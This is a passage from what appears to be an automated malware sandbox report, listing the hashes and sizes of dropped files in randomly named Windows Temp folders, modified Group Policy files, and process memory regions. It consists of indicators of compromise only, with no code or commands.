                                                                                                                                                                a3e62bb55e25cc91c6265267af8e2f5d47adab89

                                                                                                                                                                SHA256

                                                                                                                                                                3dc5c88516d4c497183c6d4db83c2fb70d0e3b939bcc45f29c6b61749aeeb051

                                                                                                                                                                SHA512

                                                                                                                                                                4da3db5ac8a379da846761b766a661ba82dc08627b8630f929d32dc2d394b3501a02a70f6081449961859be8f9d9d5f48cc35ddede9556ea2c04dee2f2a6fb5b

                                                                                                                                                              • C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                6136ed187b0ed906ec5548ebe89f7ec9

                                                                                                                                                                SHA1

                                                                                                                                                                03c7bfca27bad70da2b3bd9c3c1160d8e0f0fa33

                                                                                                                                                                SHA256

                                                                                                                                                                80b28b54de4e2e07a98f7ec025991a51d77d9137de358d181fde0e0535774d49

                                                                                                                                                                SHA512

                                                                                                                                                                500b0ee00406af45f297b6b943f87f13e0309197a288ed65b9417dd6395c32f427de44d0641e2efb52a6e0ebd24df1b303523987ae4a741e7c269bb776f29211

                                                                                                                                                              • C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                Filesize

                                                                                                                                                                5KB

                                                                                                                                                                MD5

                                                                                                                                                                ef0076885414e191045134bde2d1cb8e

                                                                                                                                                                SHA1

                                                                                                                                                                d041887224bb21b67f21e3e57118fe65f6e39a5c

                                                                                                                                                                SHA256

                                                                                                                                                                bfa46dd3cce03da6f0e422ca9efcd64c8fe6f64b28924321ca442bee07332141

                                                                                                                                                                SHA512

                                                                                                                                                                de3a2a72509aeb798e321b0277f2bba303077e71e2503bfbe5d978004f6ae7c55460bfe40479477035ba9008314bb8cfc319fa8ed39723efc71397289b1d2e02

                                                                                                                                                              • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                Filesize

                                                                                                                                                                268B

                                                                                                                                                                MD5

                                                                                                                                                                a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                SHA1

                                                                                                                                                                1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                SHA256

                                                                                                                                                                9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                SHA512

                                                                                                                                                                9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                              • \Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                6136ed187b0ed906ec5548ebe89f7ec9

                                                                                                                                                                SHA1

                                                                                                                                                                03c7bfca27bad70da2b3bd9c3c1160d8e0f0fa33

                                                                                                                                                                SHA256

                                                                                                                                                                80b28b54de4e2e07a98f7ec025991a51d77d9137de358d181fde0e0535774d49

                                                                                                                                                                SHA512

                                                                                                                                                                500b0ee00406af45f297b6b943f87f13e0309197a288ed65b9417dd6395c32f427de44d0641e2efb52a6e0ebd24df1b303523987ae4a741e7c269bb776f29211

                                                                                                                                                              • memory/220-63-0x0000000072FB0000-0x000000007369E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/220-83-0x0000000000FA0000-0x0000000000FB0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/220-65-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                136KB

                                                                                                                                                              • memory/220-62-0x0000000001030000-0x0000000001066000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                216KB

                                                                                                                                                              • memory/220-66-0x00000000063D0000-0x0000000006436000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                408KB

                                                                                                                                                              • memory/220-67-0x00000000061F0000-0x0000000006256000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                408KB

                                                                                                                                                              • memory/220-64-0x0000000005B50000-0x0000000006178000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.2MB

                                                                                                                                                              • memory/220-70-0x0000000006890000-0x00000000068DB000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                300KB

                                                                                                                                                              • memory/220-82-0x0000000000FA0000-0x0000000000FB0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/220-68-0x0000000006440000-0x0000000006790000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                3.3MB

                                                                                                                                                              • memory/220-69-0x0000000006860000-0x000000000687C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                112KB

                                                                                                                                                              • memory/220-88-0x0000000072FB0000-0x000000007369E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/220-71-0x0000000006B50000-0x0000000006BC6000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                472KB

                                                                                                                                                              • memory/2164-153-0x0000000000C30000-0x000000000132B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2164-56-0x0000000000C30000-0x000000000132B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2164-87-0x0000000000C30000-0x000000000132B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2836-50-0x0000000000F50000-0x000000000164B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2836-12-0x0000000010000000-0x00000000105A5000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                5.6MB

                                                                                                                                                              • memory/2836-11-0x0000000000F50000-0x000000000164B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2836-425-0x0000000000F50000-0x000000000164B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2936-391-0x0000000003160000-0x00000000031D7000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                476KB

                                                                                                                                                              • memory/2936-401-0x00000000031E0000-0x000000000329A000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                744KB

                                                                                                                                                              • memory/2936-150-0x0000000000050000-0x000000000074B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/2936-166-0x0000000002000000-0x0000000002085000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                532KB

                                                                                                                                                              • memory/2936-208-0x0000000002980000-0x00000000029E5000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                404KB

                                                                                                                                                              • memory/2936-428-0x0000000000050000-0x000000000074B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                              • memory/3348-45-0x00000233E5520000-0x00000233E5530000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3348-23-0x00000233CD2D0000-0x00000233CD2F2000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                136KB

                                                                                                                                                              • memory/3348-20-0x00007FFAECB40000-0x00007FFAED52C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/3348-21-0x00000233E5520000-0x00000233E5530000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3348-49-0x00007FFAECB40000-0x00007FFAED52C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/3348-22-0x00000233E5520000-0x00000233E5530000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3348-26-0x00000233E5730000-0x00000233E57A6000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                472KB

                                                                                                                                                              • memory/3592-104-0x00000000056A0000-0x00000000056B0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3592-145-0x00000000056A0000-0x00000000056B0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3592-108-0x0000000072FB0000-0x000000007369E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/3592-107-0x00000000056A0000-0x00000000056B0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3592-92-0x0000000072FB0000-0x000000007369E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/4176-421-0x00000000033F0000-0x0000000003995000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                5.6MB

                                                                                                                                                              • memory/5084-118-0x000001C950B80000-0x000001C950B90000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/5084-119-0x000001C950B80000-0x000001C950B90000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/5084-117-0x00007FFAEAC50000-0x00007FFAEB63C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/5084-141-0x000001C950B80000-0x000001C950B90000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/5084-144-0x00007FFAEAC50000-0x00007FFAEB63C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB